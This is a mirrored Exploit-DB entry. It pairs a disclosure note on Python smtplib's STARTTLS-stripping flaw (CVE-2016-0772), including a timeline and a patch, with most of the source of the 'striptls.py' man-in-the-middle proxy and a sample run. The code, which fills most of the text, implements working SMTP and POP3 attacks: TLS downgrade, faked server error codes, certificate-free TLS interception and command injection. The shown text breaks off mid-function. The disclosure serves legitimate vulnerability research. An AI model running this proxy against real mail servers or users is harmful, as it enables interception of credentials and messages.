bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions
exploit-db-mirror/exploits/multiple/local/43500.txt
Offensive Security b4c96a5864 DB: 2021-09-03 
28807 changes to exploits/shellcodes
2021-09-03 20:19:21 +00:00

1812 lines
No EOL
86 KiB
Text
Raw Permalink Blame History

VuNote
============
Author: <github.com/tintinweb>
Version: 0.2
Date: Nov 25th, 2015
Tag: python smtplib starttls stripping (mitm)
Overview
--------
Name: python
Vendor: python software foundation
References: * https://www.python.org/ [1]
Version: 2.7.11, 3.4.4, 3.5.1
Latest Version: 2.7.11, 3.4.4, 3.5.1 [2]
Other Versions: 2.2 [3] (~14 years ago) <= affected <= 2.7.11
3.0 [3] (~7 years ago) <= affected <= 3.4.4
3.5.1
Platform(s): cross
Technology: c/python
Vuln Classes: Selection of Less-Secure Algorithm During Negotiation (CWE-757)
Origin: remote/mitm
Min. Privs.: -
CVE: CVE-2016-0772
Description
---------
quote wikipedia [4]
>Python is a widely used high-level, general-purpose, interpreted, dynamic programming language. Its design philosophy emphasizes code readability, and its syntax allows programmers to express concepts in fewer lines of code than would be possible in languages such as C++ or Java.[24][25] The language provides constructs intended to enable clear programs on both a small and large scale.
Summary
-------
python smtplib does not seem to raise an exception when the remote
end (smtp server) is capable of negotiating starttls (as seen in the
response to ehlo) but fails to respond with 220 (ok) to an explicit
call of `SMTP.starttls()`. This may allow a malicious mitm to perform a
starttls stripping attack if the client code does not explicitly check
the response code for starttls, which is rarely done as one might
expect that it raises an exception when starttls negotiation fails
(like when calling starttls on a server that does not support it or
when it fails to negotiate tls due to an ssl exception/cipher
mismatch/auth fail).
Quoting the PSRT with an extended analysis
> It is a surprising and potential dangerous behavior. It also violates Python's documentation. states that all SMTP commands after starttls() are encrypted. That's clearly not true in case of response != 200. I also had a look how the other stdlib libraries handle starttls problems. nntplib's and imaplib's starttls() method raise an error when the starttls handshake fails.
Checking on how `smtplib.starttls()` is actually being used by open-source projects underlines that `smtplib.starttls()` is generally expected to throw an exception if the starttls protocol was not executed correctly. Therefore this issue may have an impact on some major projects like Django, web2py. Apart from that the current `smtplib.starttls()` behavior is different to `nntplib.starttls()`, `imaplib.starttls()`
PoC see [6]
patch attached.
Details
------
The vulnerable code is located in `lib/smtplib.py` [3] line 646 (2.7 branch) and
fails to raise an exception if `resp!=220`.
The documentation [7] suggests that `starttls()` either encrypts all communication
or throws an exception if it was not able to negotiate tls.
SMTP.starttls([keyfile[, certfile]])
Put the SMTP connection in TLS (Transport Layer Security) mode. All SMTP commands that follow will be encrypted. You should then call ehlo() again.
If keyfile and certfile are provided, these are passed to the socket module<6C>s ssl() function.
If there has been no previous EHLO or HELO command this session, this method tries ESMTP EHLO first.
Changed in version 2.6.
SMTPHeloError
The server didn<64>t reply properly to the HELO greeting.
SMTPException
The server does not support the STARTTLS extension.
Changed in version 2.6.
RuntimeError
SSL/TLS support is not available to your Python interpreter.
Code `lib/smtplib.py`:
Inline annotations are prefixed with `//#!`
def starttls(self, keyfile=None, certfile=None):
"""Puts the connection to the SMTP server into TLS mode.
If there has been no previous EHLO or HELO command this session, this
method tries ESMTP EHLO first.
If the server supports TLS, this will encrypt the rest of the SMTP
session. If you provide the keyfile and certfile parameters,
the identity of the SMTP server and client can be checked. This,
however, depends on whether the socket module really checks the
certificates.
This method may raise the following exceptions:
SMTPHeloError The server didn't reply properly to
the helo greeting.
"""
self.ehlo_or_helo_if_needed()
if not self.has_extn("starttls"):
raise SMTPException("STARTTLS extension not supported by server.")
(resp, reply) = self.docmd("STARTTLS")
if resp == 220: //#! with a server not responding 220 it wont even try to negotiate tls
if not _have_ssl: //#! silently stays unencrypted
raise RuntimeError("No SSL support included in this Python")
self.sock = ssl.wrap_socket(self.sock, keyfile, certfile)
self.file = SSLFakeFile(self.sock)
# RFC 3207:
# The client MUST discard any knowledge obtained from
# the server, such as the list of SMTP service extensions,
# which was not obtained from the TLS negotiation itself.
self.helo_resp = None
self.ehlo_resp = None
self.esmtp_features = {}
self.does_esmtp = 0
return (resp, reply) //#! to actually detect this a client would have to manually check resp==220
//#! or that the socket was turned into an SSLSock object
Proof of Concept
----------------
1. start `striptls.py` proxy
#> python striptls/striptls.py -l 0.0.0.0:9999 -r remote.mailserver.tld:25 -x SMTP.StripWithInvalidResponseCode
- INFO - <Proxy 0x1f04910 listen=('0.0.0.0', 9999) target=('remote.mailserver.tld', 25)> ready.
- DEBUG - * added test (port:25 , proto: SMTP): <class __main__.StripWithInvalidResponseCode at 0x020F85E0>
- INFO - <RewriteDispatcher vectors={25: set([<class __main__.StripWithInvalidResponseCode at 0x020F85E0>])}>
2. send mail using `smtplib` (starttls)
import smtplib
server = smtplib.SMTP('localhost', port=9999)
server.set_debuglevel(1)
server.ehlo()
print server.esmtp_features
server.starttls()
server.sendmail("a@b.com", "b@a.com", "From: a@b.com\r\nTo: b@a.com\r\n\r\n")
server.quit()
3. watch `striptls.py` fake the server response with `resp=200` instead of `resp=220`, not forwarding the message to the server. This effectively strips starttls. `smtplib` keeps sending in plaintext with no indication to the client code that starttls negotiation actually failed.
- DEBUG - <ProtocolDetect 0x1f25530 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
- INFO - <Session 0x1f0ea50> client ('127.0.0.1', 59687) has connected
- INFO - <Session 0x1f0ea50> connecting to target ('remote.mailserver.tld', 25)
- DEBUG - <Session 0x1f0ea50> [client] <= [server] '220 mailserver.tld (msrv002) Nemesis ESMTP Service ready\r\n'
- DEBUG - <RewriteDispatcher - changed mangle: __main__.StripWithInvalidResponseCode new: True>
- DEBUG - <Session 0x1f0ea50> [client] => [server] 'ehlo [192.168.139.1]\r\n'
- DEBUG - <Session 0x1f0ea50> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [x.x.x.x]\r\n250-SIZE 3 1457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
- DEBUG - <Session 0x1f0ea50> [client] => [server] 'STARTTLS\r\n'
- DEBUG - <Session 0x1f0ea50> [client] <= [server][mangled] '200 STRIPTLS\r\n'
- DEBUG - <Session 0x1f0ea50> [client] => [server][mangled] None
- DEBUG - <Session 0x1f0ea50> [client] => [server] 'mail FROM:<a@b.com> size=10\r\n'
- DEBUG - <Session 0x1f0ea50> [client] <= [server] '530 Authentication required\r\n'
- DEBUG - <Session 0x1f0ea50> [client] => [server] 'rset\r\n'
- DEBUG - <Session 0x1f0ea50> [client] <= [server] '250 OK\r\n'
- WARNING - <Session 0x1f0ea50> terminated.
Patch
-------
* raise an exception if the server replies with an unexpected return-code to an explicit call for `smtplib.starttls()`.
#https://github.com/python/cpython <master> diff --git a/Lib/smtplib.py b/Lib/smtplib.py index 4756973..dfbf5f9 100755
--- a/Lib/smtplib.py
+++ b/Lib/smtplib.py
@@ -773,6 +773,11 @@ class SMTP:
self.ehlo_resp = None
self.esmtp_features = {}
self.does_esmtp = 0
+ else:
+ # RFC 3207:
+ # 501 Syntax error (no parameters allowed)
+ # 454 TLS not available due to temporary reason
+ raise SMTPResponseException(resp, reply)
return (resp, reply)
def sendmail(self, from_addr, to_addrs, msg, mail_options=[],
Notes
-----
Vendor response: see [8,9,10]
Timeline:
11/25/2015 contact psrt; provided details, PoC, proposed patch
12/01/2016 response, initial analysis
01/29/2016 request ETA, bugref
02/01/2016 psrt assigned CVE-2016-0772
02/12/2016 response: will be addressed in upcoming 2.7, 3.5
02/13/2016 request ETA; response: no exact date
03/29/2016 request ETA; response: generic bounce message
05/12/2016 request ETA; no response
05/27/2016 request ETA; response: no exact date
06/12/2016 request ETA;
06/14/2016 response: ETA ~ June 26th
06/14/2016 vendor announcement [9]
References
---------
[1] https://www.python.org/
[2] https://www.python.org/downloads/
[3] https://github.com/python/cpython/blob/2.7/Lib/smtplib.py
[4] https://en.wikipedia.org/wiki/Python_(programming_language)
[5] https://docs.python.org/2/library/smtplib.html#smtplib.SMTP.starttls
[6] https://github.com/tintinweb/striptls
[7] https://docs.python.org/2/library/smtplib.html
[8] https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-0772
[9] http://www.openwall.com/lists/oss-security/2016/06/14/9
[10] https://access.redhat.com/security/cve/cve-2016-0772
#! /usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
# see: https://github.com/tintinweb/striptls
# pip install striptls
#
'''
inbound outbound
[inbound_peer]<------------>[listen:proxy]<------------->[outbound_peer/target]
'''
import sys
import os
import logging
import socket
import select
import ssl
import time
import re
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)-8s - %(message)s')
logger = logging.getLogger(__name__)
class SessionTerminatedException(Exception):pass
class ProtocolViolationException(Exception):pass
class TcpSockBuff(object):
''' Wrapped Tcp Socket with access to last sent/received data '''
def __init__(self, sock, peer=None):
self.socket = None
self.socket_ssl = None
self.recvbuf = ''
self.sndbuf = ''
self.peer = peer
self._init(sock)
def _init(self, sock):
self.socket = sock
def connect(self, target=None):
target = target or self.peer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
return self.socket.connect(target)
def accept(self):
return self.socket.accept()
def recv(self, buflen=8*1024, *args, **kwargs):
if self.socket_ssl:
chunks = []
chunk = True
data_pending = buflen
while chunk and data_pending:
chunk = self.socket_ssl.read(data_pending)
chunks.append(chunk)
data_pending = self.socket_ssl.pending()
self.recvbuf = ''.join(chunks)
else:
self.recvbuf = self.socket.recv(buflen, *args, **kwargs)
return self.recvbuf
def recv_blocked(self, buflen=8*1024, timeout=None, *args, **kwargs):
force_first_loop_iteration = True
end = time.time()+timeout if timeout else 0
while force_first_loop_iteration or (not timeout or time.time()<end):
# force one recv otherwise we might not even try to read if timeout is too narrow
try:
return self.recv(buflen=buflen, *args, **kwargs)
except ssl.SSLWantReadError:
pass
force_first_loop_iteration = False
def send(self, data, retransmit_delay=0.1):
if self.socket_ssl:
last_exception = None
for _ in xrange(3):
try:
self.socket_ssl.write(data)
last_exception = None
break
except ssl.SSLWantWriteError,swwe:
logger.warning("TCPSockBuff: ssl.sock not yet ready, retransmit (%d) in %f seconds: %s"%(_,retransmit_delay,repr(swwe)))
last_exception = swwe
time.sleep(retransmit_delay)
if last_exception:
raise last_exception
else:
self.socket.send(data)
self.sndbuf = data
def sendall(self, data):
if self.socket_ssl:
self.send(data)
else:
self.socket.sendall(data)
self.sndbuf = data
def ssl_wrap_socket(self, *args, **kwargs):
if len(args)>=1:
args[1] = self.socket
if 'sock' in kwargs:
kwargs['sock'] = self.socket
if not args and not kwargs.get('sock'):
kwargs['sock'] = self.socket
self.socket_ssl = ssl.wrap_socket(*args, **kwargs)
self.socket_ssl.setblocking(0) # nonblocking for select
def ssl_wrap_socket_with_context(self, ctx, *args, **kwargs):
if len(args)>=1:
args[1] = self.socket
if 'sock' in kwargs:
kwargs['sock'] = self.socket
if not args and not kwargs.get('sock'):
kwargs['sock'] = self.socket
self.socket_ssl = ctx.wrap_socket(*args, **kwargs)
self.socket_ssl.setblocking(0) # nonblocking for select
class ProtocolDetect(object):
PROTO_SMTP = 25
PROTO_XMPP = 5222
PROTO_IMAP = 143
PROTO_FTP = 21
PROTO_POP3 = 110
PROTO_NNTP = 119
PROTO_IRC = 6667
PROTO_ACAP = 675
PROTO_SSL = 443
PORTMAP = {25: PROTO_SMTP,
5222:PROTO_XMPP,
110: PROTO_POP3,
143: PROTO_IMAP,
21: PROTO_FTP,
119: PROTO_NNTP,
6667: PROTO_IRC,
675: PROTO_ACAP
}
KEYWORDS = ((['ehlo', 'helo','starttls','rcpt to:','mail from:'], PROTO_SMTP),
(['xmpp'], PROTO_XMPP),
(['. capability'], PROTO_IMAP),
(['auth tls'], PROTO_FTP)
)
def __init__(self, target=None):
self.protocol_id = None
self.history = []
if target:
self.protocol_id = self.PORTMAP.get(target[1])
if self.protocol_id:
logger.debug("%s - protocol detected (target port)"%repr(self))
def __str__(self):
return repr(self.proto_id_to_name(self.protocol_id))
def __repr__(self):
return "<ProtocolDetect %s protocol_id=%s len_history=%d>"%(hex(id(self)), self.proto_id_to_name(self.protocol_id), len(self.history))
def proto_id_to_name(self, id):
if not id:
return id
for p in (a for a in dir(self) if a.startswith("PROTO_")):
if getattr(self, p)==id:
return p
def detect_peek_tls(self, sock):
if sock.socket_ssl:
raise Exception("SSL Detection for ssl socket ..whut!")
TLS_VERSIONS = {
# SSL
'\x00\x02':"SSL_2_0",
'\x03\x00':"SSL_3_0",
# TLS
'\x03\x01':"TLS_1_0",
'\x03\x02':"TLS_1_1",
'\x03\x03':"TLS_1_2",
'\x03\x04':"TLS_1_3",
}
TLS_CONTENT_TYPE_HANDSHAKE = '\x16'
SSLv2_PREAMBLE = 0x80
SSLv2_CONTENT_TYPE_CLIENT_HELLO ='\x01'
peek_bytes = sock.recv(5, socket.MSG_PEEK)
if not len(peek_bytes)==5:
return
# detect sslv2, sslv3, tls: one symbol is one byte; T .. type
# L .. length
# V .. version
# 01234
# detect sslv2 LLTVV T=0x01 ... MessageType.client_hello; L high bit set.
# sslv3 TVVLL
# tls TVVLL T=0x16 ... ContentType.Handshake
v = None
if ord(peek_bytes[0]) & SSLv2_PREAMBLE \
and peek_bytes[2]==SSLv2_CONTENT_TYPE_CLIENT_HELLO \
and peek_bytes[3:3+2] in TLS_VERSIONS.keys():
v = TLS_VERSIONS.get(peek_bytes[3:3+2])
logger.info("ProtocolDetect: SSL23/TLS version: %s"%v)
elif peek_bytes[0] == TLS_CONTENT_TYPE_HANDSHAKE \
and peek_bytes[1:1+2] in TLS_VERSIONS.keys():
v = TLS_VERSIONS.get(peek_bytes[1:1+2])
logger.info("ProtocolDetect: TLS version: %s"%v)
return v
def detect(self, data):
if self.protocol_id:
return self.protocol_id
self.history.append(data)
for keywordlist,proto in self.KEYWORDS:
if any(k in data.lower() for k in keywordlist):
self.protocol_id = proto
logger.debug("%s - protocol detected (protocol messages)"%repr(self))
return
class Session(object):
''' Proxy session from client <-> proxy <-> server
@param inbound: inbound socket
@param outbound: outbound socket
@param target: target tuple ('ip',port)
@param buffer_size: socket buff size'''
def __init__(self, proxy, inbound=None, outbound=None, target=None, buffer_size=4096):
self.proxy = proxy
self.bind = proxy.getsockname()
self.inbound = TcpSockBuff(inbound)
self.outbound = TcpSockBuff(outbound, peer=target)
self.buffer_size = buffer_size
self.protocol = ProtocolDetect(target=target)
self.datastore = {}
def __repr__(self):
return "<Session %s [client: %s] --> [prxy: %s] --> [target: %s]>"%(hex(id(self)),
self.inbound.peer,
self.bind,
self.outbound.peer)
def __str__(self):
return "<Session %s>"%hex(id(self))
def connect(self, target):
self.outbound.peer = target
logger.info("%s connecting to target %s"%(self, repr(target)))
return self.outbound.connect(target)
def accept(self):
sock, addr = self.proxy.accept()
self.inbound = TcpSockBuff(sock)
self.inbound.peer = addr
logger.info("%s client %s has connected"%(self,repr(self.inbound.peer)))
return sock,addr
def get_peer_sockets(self):
return [self.inbound.socket, self.outbound.socket]
def notify_read(self, sock):
if sock == self.proxy:
self.accept()
self.connect(self.outbound.peer)
elif sock == self.inbound.socket:
# new client -> prxy - data
self.on_recv_peek(self.inbound, self)
self.on_recv(self.inbound, self.outbound, self)
elif sock == self.outbound.socket:
# new sprxy <- target - data
self.on_recv(self.outbound, self.inbound, self)
return
def close(self):
try:
self.outbound.socket.shutdown(2)
self.outbound.socket.close()
self.inbound.socket.shutdown(2)
self.inbound.socket.close()
except socket.error, se:
logger.warning("session.close(): Exception: %s"%repr(se))
raise SessionTerminatedException()
def on_recv(self, s_in, s_out, session):
data = s_in.recv(session.buffer_size)
self.protocol.detect(data)
if not len(data):
return session.close()
if s_in == session.inbound:
data = self.mangle_client_data(session, data)
elif s_in == session.outbound:
data = self.mangle_server_data(session, data)
if data:
s_out.sendall(data)
return data
def on_recv_peek(self, s_in, session): pass
def mangle_client_data(self, session, data, rewrite): return data
def mangle_server_data(self, session, data, rewrite): return data
class ProxyServer(object):
'''Proxy Class'''
def __init__(self, listen, target, buffer_size=4096, delay=0.0001):
self.input_list = set([])
self.sessions = {} # sock:Session()
self.callbacks = {} # name: [f,..]
#
self.listen = listen
self.target = target
#
self.buffer_size = buffer_size
self.delay = delay
self.bind = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.bind.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.bind.bind(listen)
self.bind.listen(200)
def __str__(self):
return "<Proxy %s listen=%s target=%s>"%(hex(id(self)),self.listen, self.target)
def get_session_by_client_sock(self, sock):
return self.sessions.get(sock)
def set_callback(self, name, f):
self.callbacks[name] = f
def main_loop(self):
self.input_list.add(self.bind)
while True:
time.sleep(self.delay)
inputready, _, _ = select.select(self.input_list, [], [])
for sock in inputready:
if not sock in self.input_list:
# Check if inputready sock is still in the list of socks to read from
# as SessionTerminateException might remove multiple sockets from that list
# this might otherwise lead to bad FD access exceptions
continue
session = None
try:
if sock == self.bind:
# on_accept
session = Session(sock, target=self.target)
for k,v in self.callbacks.iteritems():
setattr(session, k, v)
session.notify_read(sock)
for s in session.get_peer_sockets():
self.sessions[s]=session
self.input_list.update(session.get_peer_sockets())
else:
# on_recv
try:
session = self.get_session_by_client_sock(sock)
session.notify_read(sock)
except ssl.SSLError, se:
if se.errno != ssl.SSL_ERROR_WANT_READ:
raise
continue
except SessionTerminatedException:
self.input_list.difference_update(session.get_peer_sockets())
logger.warning("%s terminated."%session)
except Exception, e:
logger.error("main: %s"%repr(e))
if isinstance(e,IOError):
for kname,value in ((a,getattr(Vectors,a)) for a in dir(Vectors) if a.startswith("_TLS_")):
if not os.path.isfile(value):
logger.error("%s = %s - file not found"%(kname, repr(value)))
if session:
logger.error("main: removing all sockets associated with session that raised exception: %s"%repr(session))
try:
session.close()
except SessionTerminatedException: pass
self.input_list.difference_update(session.get_peer_sockets())
elif sock and sock!=self.bind:
# exception for non-bind socket - probably fine to close and remove it from our list
logger.error("main: removing socket that probably raised the exception")
sock.close()
self.input_list.remove(sock)
else:
# this is just super-fatal - something happened while processing our bind socket.
raise
class Vectors:
_TLS_CERTFILE = "server.pem"
_TLS_KEYFILE = "server.pem"
class GENERIC:
_PROTO_ID = None
class Intercept:
'''
proto independent msg_peek based tls interception
'''
@staticmethod
def mangle_server_data(session, data, rewrite): return data
@staticmethod
def mangle_client_data(session, data, rewrite): return data
@staticmethod
def on_recv_peek(session, s_in):
if s_in.socket_ssl:
return
ssl_version = session.protocol.detect_peek_tls(s_in)
if ssl_version:
logger.info("SSL Handshake detected - performing ssl/tls conversion")
try:
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
session.outbound.ssl_wrap_socket_with_context(context, server_side=False)
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
except Exception, e:
logger.warning("Exception - not ssl intercepting outbound: %s"%repr(e))
@staticmethod
def create_ssl_context(proto=ssl.PROTOCOL_SSLv23,
verify_mode=ssl.CERT_NONE,
protocols=None,
options=None,
ciphers="ALL"):
protocols = protocols or ('PROTOCOL_SSLv3','PROTOCOL_TLSv1',
'PROTOCOL_TLSv1_1','PROTOCOL_TLSv1_2')
options = options or ('OP_CIPHER_SERVER_PREFERENCE','OP_SINGLE_DH_USE',
'OP_SINGLE_ECDH_USE','OP_NO_COMPRESSION')
context = ssl.SSLContext(proto)
context.verify_mode = verify_mode
# reset protocol, options
context.protocol = 0
context.options = 0
for p in protocols:
context.protocol |= getattr(ssl, p, 0)
for o in options:
context.options |= getattr(ssl, o, 0)
context.set_ciphers(ciphers)
return context
class InboundIntercept:
'''
proto independent msg_peek based tls interception
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
# peek again - make sure to check for inbound ssl connections
# before forwarding data to the inbound channel
# just in case server is faster with answer than client with hello
# likely if smtpd and striptls are running on the same segment
# and client is not.
if not session.inbound.socket_ssl:
# only peek if inbound is not in tls mode yet
# kind of a hack but allow additional 0.1 secs for the client
# to send its hello
time.sleep(0.1)
Vectors.GENERIC.InterceptInbound.on_recv_peek(session, session.inbound)
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
return data
@staticmethod
def on_recv_peek(session, s_in):
if s_in.socket_ssl:
return
ssl_version = session.protocol.detect_peek_tls(s_in)
if ssl_version:
logger.info("SSL Handshake detected - performing ssl/tls conversion")
try:
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
except Exception, e:
logger.warning("Exception - not ssl intercepting inbound: %s"%repr(e))
class SMTP:
_PROTO_ID = 25
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STARTTLS support
2) raise exception if client tries to negotiated STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and "250" in data:
features = [f for f in data.strip().split('\r\n') if not "STARTTLS" in f]
if not features[-1].startswith("250 "):
features[-1] = features[-1].replace("250-","250 ") # end marker
data = '\r\n'.join(features)+'\r\n'
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data))
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class StripWithInvalidResponseCode:
''' 1) Force Server response to contain STARTTLS even though it does not support it (just because we can)
2) Respond to client STARTTLS with invalid response code
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and "250" in data:
features = list(data.strip().split("\r\n"))
features.insert(-1,"250-STARTTLS") # add STARTTLS from capabilities
#if "STARTTLS" in data:
# features = [f for f in features if not "STARTTLS" in f] # remove STARTTLS from capabilities
data = '\r\n'.join(features)+'\r\n'
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
session.inbound.sendall("200 STRIPTLS\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("200 STRIPTLS\r\n")))
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class StripWithTemporaryError:
''' 1) force server error on client sending STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
session.inbound.sendall("454 TLS not available due to temporary reason\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("454 TLS not available due to temporary reason\r\n")))
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STARTTLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
session.inbound.sendall("501 Syntax error\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("501 Syntax error\r\n")))
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
# do inbound STARTTLS
session.inbound.sendall("220 Go ahead\r\n")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("220 Go ahead\r\n")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# outbound ssl
session.outbound.sendall(data)
logger.debug("%s [ ] => [server][mangled] %s"%(session,repr(data)))
resp_data = session.outbound.recv_blocked()
logger.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data)))
if "220" not in resp_data:
raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data))
logger.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session))
session.outbound.ssl_wrap_socket()
logger.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher()))
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class InboundStarttlsProxy:
''' Inbound is starttls, outbound is plain
1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
# keep track of stripped server ehlo/helo
if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and "250" in data and not session.datastore.get("server_ehlo_stripped"): #only do this once
# wait for full line
while not "250 " in data:
data+=session.outbound.recv_blocked()
features = [f for f in data.strip().split('\r\n') if not "STARTTLS" in f]
if features and not features[-1].startswith("250 "):
features[-1] = features[-1].replace("250-","250 ") # end marker
# force starttls announcement
session.datastore['server_ehlo_stripped']= '\r\n'.join(features)+'\r\n' # stripped
if len(features)>1:
features.insert(-1,"250-STARTTLS")
else:
features.append("250 STARTTLS")
features[0]=features[0].replace("250 ","250-")
data = '\r\n'.join(features)+'\r\n' # forced starttls
session.datastore['server_ehlo'] = data
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
# do inbound STARTTLS
session.inbound.sendall("220 Go ahead\r\n")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("220 Go ahead\r\n")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,
keyfile=Vectors._TLS_KEYFILE)
logger.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session))
session.inbound.ssl_wrap_socket_with_context(context, server_side=True)
logger.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher()))
# inbound ssl, fake server ehlo on helo/ehlo
indata = session.inbound.recv_blocked()
if not any(e in indata for e in ('ehlo','helo')):
raise ProtocolViolationException("whoop!? client did not send EHLO/HELO after STARTTLS finished.. proto violation: %s"%repr(indata))
logger.debug("%s [client] => [ ][mangled] %s"%(session,repr(indata)))
session.inbound.sendall(session.datastore["server_ehlo_stripped"])
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr(session.datastore["server_ehlo_stripped"])))
data=None
elif any(e in data for e in ('ehlo','helo')) and session.datastore.get("server_ehlo_stripped"):
# just do not forward the second ehlo/helo
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class ProtocolDowngradeStripExtendedMode:
''' Return error on EHLO to force peer to non-extended mode
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if data.lower().startswith("ehlo "):
session.inbound.sendall("502 Error: command \"EHLO\" not implemented\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("502 Error: command \"EHLO\" not implemented\r\n")))
data=None
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class InjectCommand:
''' 1) Append command to STARTTLS\r\n.
2) untrusted intercept to check if we get an invalid command response from server
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "STARTTLS" in data:
data += "INJECTED_INVALID_COMMAND\r\n"
#logger.debug("%s [client] => [server][mangled] %s"%(session,repr(data)))
try:
Vectors.SMTP.UntrustedIntercept.mangle_client_data(session, data, rewrite)
except ssl.SSLEOFError, se:
logging.info("%s - Server failed to negotiate SSL with Exception: %s"%(session, repr(se)))
session.close()
elif "mail from" in data.lower():
rewrite.set_result(session, True)
return data
class POP3:
_PROTO_ID = 110
class StripFromCapabilities:
''' 1) Force Server response to *NOT* announce STLS support
2) raise exception if client tries to negotiated STLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
if data.lower().startswith('+ok capability'):
features = [f for f in data.strip().split('\r\n') if not "stls" in f.lower()]
data = '\r\n'.join(features)+'\r\n'
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if data.lower().startswith("stls"):
raise ProtocolViolationException("whoop!? client sent STLS even though we did not announce it.. proto violation: %s"%repr(data))
elif any(c in data.lower() for c in ('list','user ','pass ')):
rewrite.set_result(session, True)
return data
class StripWithError:
''' 1) force server error on client sending STLS
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "stls" == data.strip().lower():
session.inbound.sendall("-ERR unknown command\r\n")
logger.debug("%s [client] <= [server][mangled] %s"%(session,repr("-ERR unknown command\r\n")))
data=None
elif any(c in data.lower() for c in ('list','user ','pass ')):
rewrite.set_result(session, True)
return data
class UntrustedIntercept:
''' 1) Do not mangle server data
2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.
in case client does not check keys
'''
@staticmethod
def mangle_server_data(session, data, rewrite):
return data
@staticmethod
def mangle_client_data(session, data, rewrite):
if "stls"==data.strip().lower():
# do inbound STARTTLS
session.inbound.sendall("+OK Begin TLS negotiation\r\n")
logger.debug("%s [client] <= [ ][mangled] %s"%(session,repr("+OK Begin TLS negotiation\r\n")))
context = Vectors.GENERIC.Intercept.create_ssl_context()
